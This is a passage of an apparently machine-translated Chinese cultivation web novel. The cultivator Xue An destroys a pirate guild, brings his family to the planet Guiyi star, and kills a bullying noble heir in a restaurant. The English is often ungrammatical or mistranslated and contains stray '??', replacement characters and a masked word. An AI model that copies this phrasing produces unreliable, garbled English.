    In an instant, Xue An withdrew his spiritual thoughts, his face a little ugly.


    Because he found through searching his memory that this Ling Zhu did not lie.


    She really didn''t know who these original powers were traded to.


    At this time those footsteps have come to the door.


    "Master Ling Zhu, what''s the matter?"


    Xue An glanced at this Ling Zhu.


    Ling Zhu immediately said in a slightly sluggish voice: "Oh, it''s okay, it''s already been processed just now!"


    "Is it all right?"


    "Get out! I''ll be fine if I say nothing!"


    Hearing Ling Zhu''s cursing, the sound of footsteps outside gradually disappeared.


    At this time Xue An loosened the restraint of his spiritual thoughts, and Ling Zhu fell off immediately, then looked at Xue An blankly, "My lord, do you have any more orders?"


    Xu Gao couldn''t believe his eyes.


    The captain himself is a famous beauty scorpion, and no one dares to provoke it.


    Why in a moment, she became so respectful?


    In fact, he didn''t even know that when Xue An just retrieved his memory, he planted a divine mind in Ling Zhu''s soul.


    Naturally let his words obey.


    Xue An said lightly: "Take me to see your president!"


    Ling Zhu nodded without hesitation, "Yes, my lord!"


    Then stood up and led everyone to a more central area.


    Seeing that the guard post became more and more strict, even if Lingzhu led the way, interrogation along the way was essential.


    at last.


    They came to the core of the fort, in front of a retro wooden door.


    You know that in this place, steel may be the least valuable thing, but a wooden door is very valuable.


    After appearing here, Ling Zhu also had to stop.


    Then I heard a voice with a hint of surprise.


    "Ling Zhu, why are you here?"


    With that, a young man came over.


    Ling Zhu was silent for a moment, and then said nonchalantly, "I have an important thing to meet with the president!"


    "Oh?" The man also noticed Xue An and An Yan at the moment. He was taken aback for An Yan''s stunning appearance, and then said.


    "Then you have to wait, now the president is negotiating with an important guest!"


    As soon as the voice fell, Xue An walked forward.


    "What are you doing? Step back!" Although this young man was amiable towards Ling Zhu, he was stern when facing Xue An, and as he shouted, dozens of guards surrounded Xue with high-energy ray guns. Ann.


    As long as Xue An takes one step forward, these guards will pull the trigger without hesitation and smash Xue An to pieces.


    But at this moment, Xue An raised his eyes and glanced at these people on the opposite side, and said lightly: "Go away!"


    With an order, the young man standing opposite flew out and hit the wall.


    The rest of the people raised their guns and wanted to shoot, but the guns in their hands suddenly turned into powder, and they couldn''t help causing chaos for these guards At the same time, Xue An rushed directly into the wooden door.


    Just above a seat, there was a figure that was rapidly fading.


    Xue An snorted coldly and cut off a sword light directly.


    But in the end it was a step too late.


    This figure still disappeared from the seat, but after the sword light flew by, a few drops of blood dripped from the air.


    "Who are you? Ling Zhu, do you want to rebel?" When a fat man saw this scene, his complexion changed drastically, and then he saw Ling Zhu come in, thinking she wanted to do something, he couldn''t help but questioned angrily Tao.


    Ling Zhu didn''t say a word, just stood there with his hands down.


    "Come here, where are the guards?" The man was a little flustered.


    Xue An retracted his gaze from the few drops of blood, then turned to look at the man, and said lightly: "Don''t shout, they won''t be able to come for a while!"

 Chapter 731： Go home 1

    "Huh?" The man couldn''t believe his ears, the fat on his face bounced and he was obviously frightened.


    "Cultivator, what do you want to do? We have no enmity between us, we can discuss everything if we have anything!"


    Xue An nodded, "That''s right, I have the same idea! So I just ask you, who have you sold the original powers collected by your blood skulls? Who is that figure just now?"


    Hearing these words, the president of the Blood Skeleton Pirate Guild, a big figure in charge of hundreds of thousands of lives and deaths, broke out in a cold sweat.


    "Cultivator, what are you asking for? And I advise you to leave it alone!"


    Xue An said indifferently: "You don''t want to say anything like this?"


    The president just wanted to speak after hearing this.


    A bright light flashed in Xue An''s eyes, and the divine mind like the sea directly invaded his sea of ??consciousness.


    After a while, Xue An''s complexion sank and he withdrew his spiritual thoughts.


    The guild leader''s eyes gradually awakened from the confusion, and then looked at Xue An tremblingly.


    He clearly knew what had just happened.


    Xue An looked at him silently, because he had just found what he wanted from the memory of the president.


    What is strange is that many things are shrouded in a thick layer of fog, such as the appearance of the figure just now, which is not clear at all.


    Xue An understood that this was a person with great magical powers that would affect the memories of the people he came into contact with.


    But no matter how affected, Xue An finally found the most critical clue.


    "Is it Guiyixing?"


    Hearing what Xue An said, the guild leader trembled even more, and a flattering smile appeared on his face.


    "Big...sir, you see that you have found what you want now, then look at me..."


    A murderous intent flashed in Xue An''s eyes, and the president''s head burst open.


    Xue An saw many extremely cruel pictures in his memory.


    The behavior of the president of the blood skull is simply outrageous, and even instructed his men to slaughter several planets where only mortals survive.


    Moreover, it would be no shame that this blood-skeleton person dared to plunder the original power of the living planet.


    Of course, when doing all of this, Xue An had already shielded the spiritual thoughts of the two daughters.


    After finishing all this, Xue An turned to look at Xu Gao.


    Xu Gao was so frightened that he stepped back a few steps, and said with a pale face: "Big...sir!"


    Xue An smiled, "Don''t worry, I won''t kill you! After all, you haven''t done anything bad!"


    Xu Gao took a deep breath.


    "But other people..."


    At this moment, what happened in this headquarters finally alarmed the entire pirate guild.


    Countless guards are coming with weapons.


    The young man who was flew out by Xue An didn''t know when he had slipped into these people, and then roared with murderous intent: "These guys broke into the headquarters and killed them!"


    And many people who knew Xu Gao couldn''t help cursing at this moment.


    "Xu Gao, did you collude with outsiders against your own people? You traitor!"


    "Xu Datou, you are dead this time!"


    Amid these roars, Xu Gao became more and more frightened, and even closed his eyes in despair.


    Because at this moment, on the walls and ceilings around the headquarters, countless gunpoints appeared, and they were all aimed at Xue An and others.


    It''s over, this time it''s dead!


    Xu Gao lamented in his heart.


    But at this moment, Xue An said calmly: "Sword of evil, kill!"


    boom!


    Numerous sword lights appeared around Xue An.


    At this moment, these people also opened fire.


    The high-energy rays accompany the dead-light weapons on the wall, forming an airtight barrage, and rushed towards Xue An and others.


    Under such a powerful attack, ordinary golden immortals could not support it for too long.


    But Xue An didn''t even blink his eyelids.


    Jianmang had already rushed over.


    boom.


    There was a loud noise when the two intersected.


    These high-energy rays and other attacks were directly extinguished by Jian Mang and rushed towards the opponent.


    "Do not����."


    Amid a miserable scream, Jianmang strangled these people in front of him with unstoppable power, and then swept the entire fortress at a very fast speed.


    In an instant.


    Under the power of the sword of evil, all the blood and debts in this fortress were destroyed.


    The rest of the people looked pale and looked at the dead bodies around them, not knowing what happened.


    Xu Gao stared blankly.


    Xue An smiled.


    "I said, don''t kill you! Those who die are all damned people!"


    This Xu Gao still did not react.


    Xue An led An Yan and others through the headquarters room, and according to the president''s memory, came to the secret room dedicated to storing secret treasures.


    This huge warehouse was piled up with the rare treasures he had searched.


    Xue An didn''t even look at it, and installed it directly into the Fu Bao Xiaolou.


    Then I found a detailed star map of the surrounding star field.


    This thing is the most important thing.


    But the idea of ??looking for a teleportation array was lost.


    It seems that the president of this Blood Skull Pirate Guild is very cautious.


    Because if the teleportation array is built, it must be mutual, which is equivalent to leaving a window outside to enter.


    That''s why he didn''t build a teleportation array.


    But now there is no difference between having and without. With this star map, Xue An can continue on his way.


    Xue An looked at this star map, trying to find the star field he had cultivated back then, but he found that the width of the star map was not enough.


    This also illustrates the vastness of the universe from the side.


    Xue An watched for a moment, and then directly released the Xingzhou, took the family to the Xingzhou, and disappeared into the vast starry sky.


    Xu Gao stared blankly at the back of them leaving, a little dumbfounded.


    He didn''t know if he was lucky or unlucky.


    But no matter what, he saved his life somehow.


    As for this place, he doesn''t plan to stay.


    After all, this place is about to become a dead city now Staying here will only cause disaster.


    Thinking of this, he hurriedly searched for some leftovers, and then got a brand new spaceship, ready to leave.


    Unexpectedly, that Ling Zhu would follow him all the way.


    At this time, Ling Zhu had already subconsciously regarded Xu Gao as his own master because of his spiritual damage.


    Xu Gao thought for a while, and simply left with her.


    quickly.


    What happened to the Blood Skull Pirate Guild spread.


    Although in the fringe star realm.


    But overnight, the death of the Blood Skull Pirate Guild disappeared. This news was still enough to shock many people.


    At this moment, Xue An was driving the star boat to the destination marked on the star map.


    Back to one star.

 Chapter 732： Coming to the East

    at last!


    After three months.


    It is getting closer and closer to the Guiyi star marked on the star chart.


    But just when there was at least one starry sky traversing distance, Xue An felt that the surrounding space became more and more stagnant.


    It''s like swimming in the glue.


    Xue An was startled slightly, and then came to understand.


    This obviously has entered the range of influence of Guiyixing.


    A full range of influence across the starry sky shows how huge this Guiyi star should be.


    Xue An moved in his heart, and then, just like in the wasteland world, he placed the starship in a hidden corner outside, and then built a small teleportation array on it and shielded it with secret techniques.


    After doing all this, Xue An began to traverse the void physically, heading to Guiyi star pointed to by the star chart.


    The speed of the physical body is definitely not as fast as Xingzhou, so after a day.


    A huge star suddenly appeared before Xue An''s eyes.


    Although the stars in that wasteland world are already very large, they are still insignificant compared to this one.


    It is like an oversized sun, suspended there quietly, and even the starlight passing by it is bound by it, bending down, forming a waterfall of starlight, which is amazing.


    With a move in Xue An''s heart, this Returning One star was considered to be a medium-sized star even among the heavenly stars he had traveled.


    After waiting for another period of time, Xue An''s vision was completely occupied by this one star.


    Under the green fluorescence, there are radiances lingering, which is the condensed heaven and earth aura.


    A faint smile appeared at the corner of Xue An''s mouth, and then it turned into a stream of light and flew towards the star.


    Back to one star.


    A piece of rugged rocks, towering old trees among the mountains.


    Although it was daytime, the roar of the beast could still be heard.


    An iron-skinned rhino, more than 20 meters high, broke several big trees, and came to the river to drink water like no one else.


    A gorgeous tiger with wings and ribs flew into the air and knocked down the iron-skinned rhinoceros. Its sharp claws tore its extremely hard skin.


    The iron-skinned rhino roared and tried to resist, but was bitten off by the gorgeous tiger.


    The tiger began to taste the flesh and blood of the iron rhinoceros unscrupulously.


    But at this moment, a giant ape 100 meters high appeared by the river, stretched out his hand to grab the gorgeous tiger, and then threw it into his mouth and ate it raw without waiting for it to react.


    Then the great ape patted his chest contentedly and let out a deafening roar.


    The roar pierced the valley, shocking many fierce beasts.


    But at this moment, I saw a stream of light descending from the sky, coming straight to the valley.


    The great ape looked up at the sky. It had already opened up its mind to see what it was, but suddenly, it turned around and ran as if it felt a great danger.


    boom!


    Streamer landing.


    The land of a radius of 100 meters was smashed into a big hole.


    Xue An slowly jumped out of the pit and looked at the surrounding mountains and forests.


    Then he released his divine mind, and immediately enveloped the mountains and forests with a radius of thousands of miles.


    Where the gods had read, these fierce beasts seemed to have encountered something extremely powerful, all trembling on the ground, not even daring to lift their heads.


    The roar of the beast that had never stopped on weekdays also became quiet at this moment.


    After a while, Xue An retracted his mind and determined that there was no danger around him, and released An Yan and his two daughters from the Fu Bao Xiaolou.


    When the mother and daughter saw the wild and primitive jungle around, they couldn''t help but exclaim.


    "What a rich spiritual energy!" An Yan took a deep breath and said with some surprise.


    Xue An smiled, "The thin aura on the earth is caused by various reasons, and it is not normal. And this is the concentration of aura that a practitioner world should have!"


    "Then how do we go out?" An Yan asked, looking at the endless virgin forest.


    "I just perceived the existence of a city thousands of miles away through my divine mind, and we will pass now!"


    Having said that, Xue An picked up the two little girls, carried An Yan into the air, and disappeared into streamers.


    It wasn''t until Xue An left that the fierce beasts who were frightened by his spiritual thoughts took a breath.


    A thousand miles away, for Xue An only a moment''s work.


    quickly.


    They saw a tall city in the distance.


    Xue An''s family fell outside the city, and then walked slowly into the city.


    This city is unexpectedly prosperous.


    The streets are full of people and lively.


    But when Xue An''s family appeared on the street, all the pedestrians were stunned.


    Especially Anyan.


    Her stunning face made many people look stupid.


    An Yan frowned slightly, and whispered to Xue An, "Husband, it''s so annoying to be watched like this, I want to cover it with illusion!"


    Xue An nodded, "Good too!"


    So An Yan used the illusion that Xue An taught her to cover up the true appearance of herself and the two little girls.


    During this time, An Yan was not idle. She was studying various spells taught to her by Xue An all day in the Fubao Xiaolou.


    For example, the illusion she is currently performing was taught to her by Xue An.


    Moreover, this illusion is still an extremely profound and mysterious spell. After it is cast, An Yan will transform into an ordinary-looking woman.


    The two little girls also became ordinary.


    And the sense of existence of their mother and daughter has become very low, it is difficult to be noticed.


    After confirming that no one was looking at her anymore, An Yan let out a sigh of relief and said, "Husband, where are we going now?"


    Xue An raised his eyes and looked at a restaurant not far away, "Go and eat something first!"


    The two little girls'' eyes lit up when they heard something to eat.


    Although there is everything to eat in the Fubao Xiaolou, it will always get tired after a long time.


    Now that they have come to a new world, they naturally want to taste it.


    So the family came to this restaurant.


    When entering the door, Xue An glanced at the diners in this hall, and his heart moved.


    He just felt on the street that there are many practitioners in this restaurant When he came in and took a look, it was true.


    There are several tables of repairmen just eating in this hall.


    Because this Guiyi star is full of aura and the laws of heaven are complete, the cultivators here are very strong.


    For example, the cultivators in the hall are basically scattered immortals, and several of them live forever.


    "Guest officer, what would you like to eat?" The shop Xiaoer hurried forward to greet the customer when he saw the guest.


    Xue An has a calm manner and is a distinguished customer at first glance. The second person in this shop naturally dare not neglect.


    Xue An nodded slightly, "Anything you have here is delicious!"


    "Okay, then do you go to the second floor lounge or in this hall?"


    "Just in the hall!"

 Chapter 733： Storm rises

    Xiaoer from the shop hurriedly asked Xue An''s family to sit down, and then went to greet them behind.


    But after a while, the food was served like water.


    Xue An took a bite. Although the cooking skills are not good, the ingredients are natural, so it tastes good.


    The two little girls feasted and enjoyed themselves.


    Xue An called Xiao Er in the shop, "Where is this?"


    Dian Xiaoer smiled and said, "You are a repairer from a long way. This is Xianyou City, but it is the city of Lord Xiaodan Zunxiao!"


    "Little Danzun?"


    The shop Xiaoer hurriedly smiled again: "Didn''t you come here for Master Xiao''s alchemy meeting?"


    Xue An shook his head.


    "In the past few days, there have been countless cultivators in Xianyou City, all for the sake of Master Xiao��s alchemy, because Master Xiao will only go out once in ten years. As long as the price you pay is enough, you can ask him to do it. You refine a pot of pill!"


    "I heard that these pills are all elixir, you can become immortal after eating one!" The second person in the shop was obviously well informed, and talked about a lot of local customs here.


    Xue An was amused.


    After the shop''s Xiaoer retired, Xue An slowly drank the grain wine brewed here.


    No wonder that in his perception, there are countless cultivators in this Xianyou City, who originally came for a little Danzun.


    I just don''t know how deep this person is in alchemy, so he dares to be called the alchemist.


    Xue An was thinking about it in his heart.


    Just heard a cold female voice from the door, "Come a good meal on the table and eat it in the hall!"


    "okay!"


    Xiao Er hurriedly responded.


    Xue An raised his eyes and saw two women coming.


    The two women are one year old and one young. The older is 21 or 12 years old, and the younger is only 16 or 7 years old.


    The big girl has a beautiful face, but the corners of her eyes and brows always have a cold color, making her look very aloof.


    The little girl looks sweet, with two dimples when she smiles, just like the girl next door.


    The arrival of these two girls attracted a lot of curious eyes in the hall.


    But the second daughter didn''t care, but just sat down and started eating.


    But Xue An still heard the quiet conversation between the two girls.


    "Sister, can you invite this little Danzun this time to refine the pill for your master?" the little girl asked in a low voice.


    "Please don''t move, please! Don''t talk, eat quickly!" the lonely woman said coldly.


    "Oh!" The little girl replied in a low voice, and began to immerse herself in eating.


    But after eating for a while, there was a messy footsteps outside, and then a group of people broke into the restaurant.


    The leader was a handsome young man with a shady complexion.


    The man looked around the audience. When he saw the two girls in the corner, his eyes lit up, and then he walked over with a sneer.


    "You guys from Sihua City are indeed here!"


    Seeing this person, the older woman''s expression sank, and then gritted her teeth and said: "Feng Lingwu, what do you want to do?"


    Feng Lingwu grinned when he heard the words, "What do you want to do? Fu Xinyan, you really understand and pretend to be confused. Why do you come to this Xianyou City, do you really mean that others don''t know?"


    Hearing the conversation between the two, the many cultivators who were eating in the hall were in a commotion.


    "Feng Lingwu! The third youngest of the Feng Clan of Wu Ri City! It is said that he was born with amazing talent, and he has already broken through into a half-step golden fairy in his twenties! Very important to the ancestors of the Feng Clan!" someone said solemnly.


    At this time, Fu Xinyan said coldly: "What do we want to do in Sihua City? What does it have to do with you Wuri City?"


    "Of course it does matter!" Feng Lingwu looked at Fu Xinyan''s slender waist with greedy eyes, and then sneered, "Because you will be from my Feng family sooner or later!"


    As soon as this sentence came out, Fu Xinyan''s face was pale and angrily scolded: "Shameless!"


    The little **** the side flushed with anger, "You are talking nonsense, Sister Fu won''t be with a villain like you!"


    Feng Lingwu laughed loudly, "Tell you Fu Xinyan, I am bound to you! When Wu Richeng gave you a marriage letter, you dare to tear it up in public, but you still can��t get rid of you wanting to be my Feng Lingwu Human destiny!"


    After all, the man behind Feng Lingwu silently surrounded the two women''s tables.


    The atmosphere in the restaurant became serious.


    Many people saw that the opportunity was not good, and quickly slipped away.


    Because Wuricheng Fengjia is not something they can afford.


    Even in the entire Guiyi Eastern Region, few forces can catch up with this Fengjia.


    Fu Xinyan blocked the little girl behind her, her hands shrouded in brilliance, and her eyes were full of stubbornness who refused to give in.


    "Feng Lingwu, if you act so arrogantly, aren''t you afraid to provoke a dispute between my Sihua City and your Wu Richeng?"


    Hearing these words, Feng Lingwu was full of disdain, "Fu Xinyan, now who doesn''t know that your master has run out of oil, otherwise you won''t travel all the way to this Xianyou City to seek medicine. And I advise you, it��s better to follow me now, otherwise...hehe! Be careful that your Sihua City will be destroyed at the same time!"


    As soon as the voice fell, Fu Xinyan blasted out a note without hesitation.


    Seeing a bright white light rushing to Feng Lingwu and cut it.


    Feng Lingwu smiled on his side and escaped the blow.


    This white light hit the wall of the restaurant behind.


    boom.


    This wall was covered with hoarfrost in an instant, and then it collapsed little by little.


    "Your Xuan Yin Art in Sihua City is really unique! Tsk tsk, but the more you do this, the more it makes you feel unbearable!" Feng Lingwu smiled wretchedly.


    All the practitioners in the hall looked a little weird.


    Because these people all know what the Sihua City is.


    It was a school composed purely of women, and it was the Xuan Yin technique that women could only practice.


    There are many wonderful things about this method After you have cultivated it, it has the great power to condense the golden fairy.


    But what these practitioners who belong to the Eastern Region are most familiar with is still another aspect of this exercise.


    These women who practice the Xuan Yin technique, their primordial yin is of great benefit to male cultivators.


    It can even help you break through a realm, and its effect is no less than a heavenly pill.


    Moreover, all the female cultivators in Sihua City have beautiful faces. One can imagine how attractive this is to other male cultivators.


    This is also why Feng Lingwu is so inevitable for Fu Xinyan.


    But when Feng Lingwu wanted to say something, another white light flew in front of him.


    Unexpectedly, even though Feng Lingwu barely turned on his side and avoided the blow, he was still caught by the white light and scratched his face.


    Xue An kept watching from a distance, until he saw these two white lights, he gave a slight hum.

 Chapter 734： Kneel down, or die!

    And at this time, the Feng Lingwu angrily roared: "Catch them both for me! I am going to seize both of them today!"


    The men who followed him heard the words and moved their hands together.


    These men''s cultivation bases are very tough, and they are good at combining attacks. Although Fu Xinyan resisted hard, she was not an opponent of these people at all.


    After a few breaths, she was forced into the corner.


    The tables, chairs and benches were even more smashed.


    The other cultivators in the room watched this scene, and some of them showed a touch of indignation, but no one dared to come forward.


    After all, the Feng family is so powerful, who dares to provoke?


    Fu Xinyan braced left and right in the corner and barely supported, and at the same time, the little girl behind her said: "Xiao Mu, run!"


    "No! I''m not leaving!" Su Xiaomu''s face was stubborn, and he also displayed his cultivation skills to fight these people.


    But her strength is even more average, not even Sanxian, how could she be the opponent of these people.


    Feng Lingwu wiped the blood from his face, his expression gloomy and terrible, "Bitch, how dare you hurt me? Today I have to let you guys taste it!"


    A look of despair appeared in Fu Xinyan''s eyes, and she gritted her teeth secretly, preparing to fight to the death.


    At this moment, Xue An picked up the wine glass on the table and said lightly: "So many big men bully the two girls, it''s really chilling."


    The sound was not loud, but it spread throughout the audience.


    Feng Lingwu suddenly turned his head, staring at Xue An, and then said coldly: "Boy, the Feng family is doing things, you''d better close your mouth!"


    "Oh? What if I insist on managing?" Xue An smiled lightly.


    Feng Lingwu showed a fierce look, and the rusher winked, and several men rushed towards Xue An.


    In the face of such a menacing blow, Xue An still drank slowly.


    Seeing this, Su Xiaomu couldn''t help but shouted anxiously: "Big brother, be careful!"


    At this moment, the men also rushed, Xue An drank the wine in the cup, and smiled at Su Xiaomu, "Thank you!"


    After that, Xue An suddenly squeezed the wine glass in his hand, and the wine glass shattered, and the fragments turned into streamers, directly penetrating the throats of the men who rushed to the front.


    puff.


    After a few muffled noises, these men covered their throats, looked at Xue An in disbelief, and then threw themselves to the ground.


    This blow was shocking.


    Even Fu Xinyan was shocked.


    This man... actually wiped out these Feng Clan masters without even getting up?


    Su Xiaomu''s eyes widened, and he shouted in surprise: "Big Brother, you are amazing!"


    When these men who had besieged Fu Xinyan saw this, they turned and killed Xue An.


    Under the combined attack, the momentum is very shocking.


    Xue An still did not get up, just stretched out his hand and slapped his palm lightly.


    boom.


    A huge palm print fell from the sky and directly slapped these men into mud.


    The power of this palm made the audience quiet.


    Fu Xinyan stared blankly.


    The masters who had just pushed her to a dead end were slapped to death by this indifferent man?


    This fact left Fu Xinyan''s brain a little blank.


    Xue An raised his eyes and looked at Feng Lingwu, and said lightly: "Anything else? If so, let''s go together!"


    Feng Lingwu''s complexion gradually became gloomy, and his eyes flashed fiercely, "Boy, this is your own death. You can''t blame anyone else!"


    With that said, Feng Lingwu showed a strong momentum on his body, and a bronze mirror with a simple and simple seal carved with mysterious patterns appeared above his head.


    "It''s a Tai Sui mirror!"


    "Unexpectedly, the Feng Family passed this family heirloom treasure to this Feng Lingwu!"


    The cultivators exclaimed.


    Feng Lingwu is not a fool. Just now Xue An slapped so many masters to death with one hand, he knew that this person was definitely not an idler.


    But now he has a Tai Sui mirror to protect him, and he can''t help but smile with an arrogant face in his heart.


    "Boy, now kneel down and beg for mercy, I can spare you not to die!"


    Xue An looked at the bronze mirror floating on Feng Lingwu''s head, and smiled slightly, "It''s interesting! Actually bring a mirror with you, do you plan to take a photo by yourself when it''s okay?"


    Feng Lingwu almost vomited blood with these words, "Die to me!"


    boom.


    Feng Lingwu threw his fist.


    This Feng Lingwu talent is very talented, and it is now a half-step Golden Immortal''s cultivation base, and it is also considered a leader among the younger generation of the Eastern Region.


    Moreover, what the Feng family passed down was this punch and kick, so this punch made the whole restaurant shake.


    Xue An didn''t even look at it, but just waved it casually.


    boom.


    After a muffled sound, Feng Lingwu was shaken back three steps.


    But at this moment, a ray of light flashed in the copper mirror, and a fist mark appeared in the void, rushing towards Xue An.


    "Be careful!" Fu Xinyan couldn''t help but shouted.


    Feng Lingwu laughed loudly, "Boy, this Tai Sui mirror is an innate treasure. Any attack you make will be sent back intact by him. You just wait for yourself to be beaten to death!"


    "Oh, isn''t it?" Xue An said lightly, and the fist mark dissipated silently after reaching him.


    Then, without waiting for this Feng Lingwu''s reaction, Xue An turned the sword with his hand and directly cut it down.


    Click.


    A huge sword with a length of more than ten meters slashed into the air and slashed above Feng Lingwu''s head.


    Feng Lingwu trembled all over, but saw that Tai Sui Mirror was safe and sound. Then he smiled and said, "Boy, it''s useless..."


    Before he finished speaking, there was a slight crisp noise in this Tai Sui mirror, and then it broke into pieces.


    Feng Lingwu couldn''t believe his eyes, "Impossible, this is an innate treasure, how can you break it?"


    "A small bronze mirror, why can''t it be broken?" Xue An said lightly.


    Feng Lingwu knew that it was not good. This man was more powerful than expected, so he gritted his teeth and said: "Okay, you are really amazing, I lost, but don''t be arrogant, I will make you pay one day!"


    After that, turn around and leave.


    The onlookers in the hall let out a sigh, thinking that the matter was finally over.


    But at this time, Xue An said lightly: "Who said that I let you go?"


    Feng Lingwu, who had already walked to the entrance of the restaurant, stayed at and then turned around, with a sneer smile on her face: "Why? Don''t let me go, don''t you still want to invite me to eat? ?"


    Xue An shook his head, "I will give you the sentence you just said now! Kneel down, maybe I can spare you not to die!"


    This sentence caused a commotion among the repairers in the hall.


    Feng Lingwu was also taken aback, and then sneered, "Boy, you are really good, but do you know what you are doing now?"


    Xue An was unmoved, "Say it again, kneel down, or die!"


    The atmosphere suddenly became serious.


    Feng Lingwu''s eyes gradually became gloomy and cold, and then he said coldly: "You are really good, but do you know what the consequences will be if you kill me?"


    "I don''t know, I don''t want to know, and you only have three breathing times to choose!"

 Chapter 735： as you wish

    Hearing Xue An''s words, a flash of anger flashed in Feng Lingwu''s eyes, then turned and walked out.


    He has been arrogant and domineering since he was a child, and has never been so embarrassed as he is today.


    So at this moment, his heart is full of crazy killing intent.


    As for whether Xue An dared to kill himself...


    Feng Lingwu didn''t believe that this man really dared to do it.


    You must know that you are the third young master of the Feng family, the favorite offspring of the ancestors.


    Who dares to move me?


    Thinking like this in his heart, Feng Lingwu had already walked to the door, and was about to step out when he lifted his foot.


    Xue An picked up his glass and took another sip of wine slowly.


    Feng Lingwu was proud, thinking that Xue An was bluffing, but at this moment, Xue An flicked his fingers.


    A ray of sword light passed by.


    Feng Lingwu felt that his feet were light, and his whole person suddenly lost his balance and fell to the ground.


    Then he felt a sharp pain. When he lowered his head, he saw that his left leg was snapped from the knee, half of his leg had fallen aside, and blood was dripping all over the ground.


    Seeing this scene, Feng Lingwu was startled first, and then screamed.


    "Ah ah ah ah ah, how dare you actually hurt me? You are dead! I will kill you and everyone in Sihua City!"


    As the third master of the Feng family, wherever he has suffered such a serious injury, the sharp pain and the anger in his heart made him go crazy.


    And everyone in the hall changed their expressions.


    Including Fu Xinyan couldn''t help being a little shocked.


    Because she didn''t expect Xue An to actually dare to start.


    On the contrary, Su Xiaomu looked at Xue An with admiration.


    She had long seen this Feng Lingwu not pleasing to her eyes.


    At this time, Feng Lingwu looked at Xue An with a bitter expression on his face, "Boy, if you have the ability, you can kill me now, or I will definitely let you survive and die."


    "As you wish!" Xue An said lightly, and the powerful spiritual mind instantly immobilized this Feng Lingwu.


    At the same time, another sword light cut across the air.


    puff.


    Feng Lingwu''s throat was cut directly, and the screams and verbal abuse stopped abruptly.


    There was a look of doubt on the face of the third master of the Feng Family, and then looked at Xue An blankly, as if he didn''t understand why this man really dared to start.


    Why didn''t he just endure it if he was bullied like others?


    Thinking in his heart, then Feng Lingwu fell into the eternal darkness.


    The body crashed to the ground.


    A dead silence.


    After a while.


    The audience was boiling.


    "Feng Lingwu is dead?"


    "This man actually killed Young Master Feng?"


    "I just saw that sword light seems to have strangled the spirits of the third master of Feng!"


    "It''s over, it''s over, the Feng Family''s anger is not something anyone can bear!"


    These practitioners talked with horror, seeing Xue An''s eyes full of fear and confusion.


    Then they began to slip away quietly, not wanting to stay here for a moment.


    They don''t want to be implicated because of this.


    After all, that is the angry Feng Family!


    In a blink of an eye, Xue An, Fu Xinyan and Su Xiaomu were left in the hall.


    Fu Xinyan stared at Feng Lingwu''s corpse on the ground, and there was confusion in his head.


    Feng Lingwu is dead?


    He actually killed the third young master of the Feng Family?


    Although Fu Xinyan hoped that Feng Lingwu would die better than anyone else, she knew the power of the Feng Family better than anyone else.


    It can be said that in the Guiyi Eastern Region, in addition to the Iron Bone Alliance, the Feng Family also has the strongest strength of several big families.


    Sihua City was far worse than them.


    This is also the reason why Feng Lingwu dared to be so arrogant.


    But Su Xiaomu obviously didn''t care about these things. She stepped forward with some excitement and respectfully saluted Xue An.


    "Big brother, you are amazing! Thank you for saving us!"


    Xue An smiled and didn''t speak yet.


    Fu Xinyan walked over with a pale face, "Senior, you leave Xianyou City quickly! I''ll take care of the aftermath for you!"


    "Go? Why go?"


    "Because the person you killed was the Third Young Master of the Feng Family!" Fu Xinyan took a deep breath.


    "Senior, you may have come from a distance. I don��t know how powerful this Feng Family is. It can be said that in this Guiyi Eastern Region, their Feng Family is the top wealthy family, and this Feng Lingwu is the favorite of the Feng Family ancestors. One of his descendants, if you kill him now, you will cause endless trouble!"


    Xue An smiled slightly, "Oh? Is it so powerful? If you want to say that, I am leaving now, how can you deal with the aftermath?"


    Fu Xinyan shook her head. "Senior, don''t care about me, I am a local cultivator after all, and they have to be scrupulous. You should leave now! It''s too late if you are too late!"


    Xue An looked at Fu Xinyan and Su Xiaomu, then smiled and shook his head, "Needless to say, I won''t leave!"


    "But..." Fu Xinyan wanted to say something else.


    Xue An waved his hand and said lightly: "I want to see how good this Feng Family is!"


    Hearing Xue An''s words, Fu Xinyan didn''t know how to persuade her, so she sighed helplessly, her face full of worry.


    "Come, sit down and eat together!" Xue An greeted.


    Su Xiaomu was not polite and pulled a chair and sat down.


    Although Fu Xinyan was still a little bit astonished, but the matter had come to this point, she also turned her mind and sat aside.


    Then she felt that the "ordinary-looking" woman sitting next to Xue An was a bit weird.


    Because those eyes are simply too beautiful.


    And when she was sitting with this man who was as powerful as Yuezhi, there was no sense of disobedience.


    When he was in doubt, An Yan smiled at the two of them and solved the illusion technique on both of them.


    After seeing the true colors of An Yan and the two little girls, Fu Xinyan and Su Xiaomu were all shocked.


    so beautiful!


    This is the only thought in their hearts.


    Then Su Xiaomu''s eyes flashed with extremely excited light.


    "What a pretty girl! God, she''s still twins!"


    Thinking and Nian Nian were also very close to this Su Xiaomu, and the three quickly got together.


    Fu Xinyan sighed, then picked up the wine glass, and solemnly said to Xue An: "Senior, I didn''t have time to thank you just now, I respect you!"


    He said and drank all the wine in the glass.


    Xue An nodded and had a drink with him.


    Then Fu Xinyan said solemnly: "Senior, dare to ask what your name is? Where do you come from?"


    "My name is Xue An! I come from... a very remote place."


    Fu Xinyan didn''t suspect him.


    Because this one star is too big.


    The Guiyi Eastern Region alone is tens of thousands of miles wide, and there are dozens of places like Guiyi Eastern Region.


    So Fu Xinyan thought Xue An came from some remote place.


    Just when Xue An and the others continued to eat and drink in this restaurant.


    The news of Feng Lingwu''s death spread throughout Xianyou City like a hurricane.


    Countless repairers were terrified.

 Chapter 736： Reversing Yin and Yang Casting Body Pill

    Feng Lingwu is not terrible.


    Although he is known as a young genius, he is only a half-step golden immortal cultivation base.


    The key is the Fengjia behind him.


    Wu Richeng Fengjia, but the top giant of the entire Guiyi Eastern Region!


    And Feng Lingwu is the most beloved descendant of the ancestors of the Feng family. Now that he is dead, one can imagine how angry the Feng family will be next.


    And the one who killed this Feng Lingwu was another little-known, probably not a young cultivator from the Eastern Region.


    And it also involves Sihua City.


    Many cultivators have a hunch that this year''s alchemy meeting will not be that simple.


    In this atmosphere, the restaurant where Xue An and others lived became the focus of attention of many practitioners.


    night.


    Fu Xinyan and Su Xiaomu both went back to their rooms to sleep.


    Xue An coaxed the two little girls to fall asleep.


    Then An Yan whispered: "Husband!"


    "Ok?"


    "Do you recognize this person from Sihua City?"


    Xue An looked at An Yan in surprise, "How do you know?"


    An Yan chuckled, "When you saw the two little girls performing tricks, you gave a slightly surprised cry. I''ve seen them all!"


    When two people get along for a long time, you will feel any difference between them.


    This is the case for An Yan. Although Xue An''s expression changed very slightly, she still noticed it.


